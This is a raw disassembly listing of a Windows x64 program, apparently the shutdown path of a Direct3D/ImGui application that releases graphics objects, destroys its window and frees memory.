mov r14, qword [rbp + 0x2c0]
mov rcx, qword [0x140100148]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
call r10
cmp eax, 0x88760868
jne 0x1400561bc
mov rcx, qword [0x140100148]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x1400561bc
call fcn.14004a7b0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400561f2
movss xmm6, dword [rbp + 0x1b4]
lea rsi, [0x140000000]
movss xmm7, dword [rbp + 0x1b8]
cmp dword [rbp + 0x10e8], 0x12
jne 0x14004e640
jmp 0x1400561fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov dword [rbp + 0x10e8], reloc.WS2_32.dll_select
call fcn.14001a930
call fcn.140036530
mov rcx, qword [0x140100550]
test rcx, rcx
je 0x14005621f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140100550], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea rcx, str.ImGui_Platform
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [0x140100568]
test rcx, rcx
je 0x140056249
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [0x1401000f0]
mov rcx, rbx
mov qword [0x140100568], rdi
mov qword [0x140100570], rdi
mov qword [0x140100578], rdi
mov qword [0x140100580], rdi
mov qword [0x140100588], rdi
mov qword [0x140100590], rdi
mov dword [reloc.WS2_32.dll_htons], 9
mov byte [0x140100560], 0
mov byte [reloc.WS2_32.dll_accept], 1
call fcn.1400090e0
cmp qword [0x1401000f0], rbx
jne 0x1400562aa
mov qword [0x1401000f0], rdi
test rbx, rbx
je 0x1400562d2
mov rcx, rbx
call fcn.140024810
mov rax, qword [0x1401000f0]
test rax, rax
je 0x1400562c9
dec dword [rax + 0x3b0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140100148]
test rcx, rcx
je 0x1400562eb
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140100148], rdi
mov rcx, qword [0x140100150]
test rcx, rcx
je 0x140056304
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140100150], rdi
mov rcx, qword [rbp + 0x7b0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0xf48]
mov rcx, qword [rbp + 0xf70]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0xf98]
cmp rdx, 0x10
jb 0x140056366
mov rcx, qword [rbp + 0xf80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056361
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
xor eax, eax
jmp 0x140056406
mov rcx, qword [0x140100150]
mov rdx, qword [0x140100148]
test rdx, rdx
je 0x140056397
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140100150]
mov qword [0x140100148], rdi
test rcx, rcx
je 0x1400563a9
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140100150], rdi
mov rdx, qword [rbp + 0xf48]
mov rcx, qword [rbp + 0xf70]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0xf98]
cmp rdx, 0x10
jb 0x140056401
mov rcx, qword [rbp + 0xf80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400563fc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400563fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c12a0
mov eax, 1
movaps xmm15, xmmword [rsp + 0x2690]
movaps xmm14, xmmword [rsp + 0x26a0]
movaps xmm13, xmmword [rsp + 0x26b0]
movaps xmm12, xmmword [rsp + 0x26c0]
movaps xmm11, xmmword [rsp + 0x26d0]
movaps xmm10, xmmword [rsp + 0x26e0]
movaps xmm9, xmmword [rsp + 0x26f0]
movaps xmm8, xmmword [rsp + 0x2700]
movaps xmm7, xmmword [rsp + 0x2710]
movaps xmm6, xmmword [rsp + 0x2720]
mov r15, qword [rsp + 0x2730]
mov r14, qword [rsp + 0x2770]
mov r13, qword [rsp + 0x2768]
mov r12, qword [rsp + 0x2760]
mov rcx, qword [rbp + 0x2580]
xor rcx, rsp
call fcn.1400c0e40
add rsp, 0x2738
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140058040
int3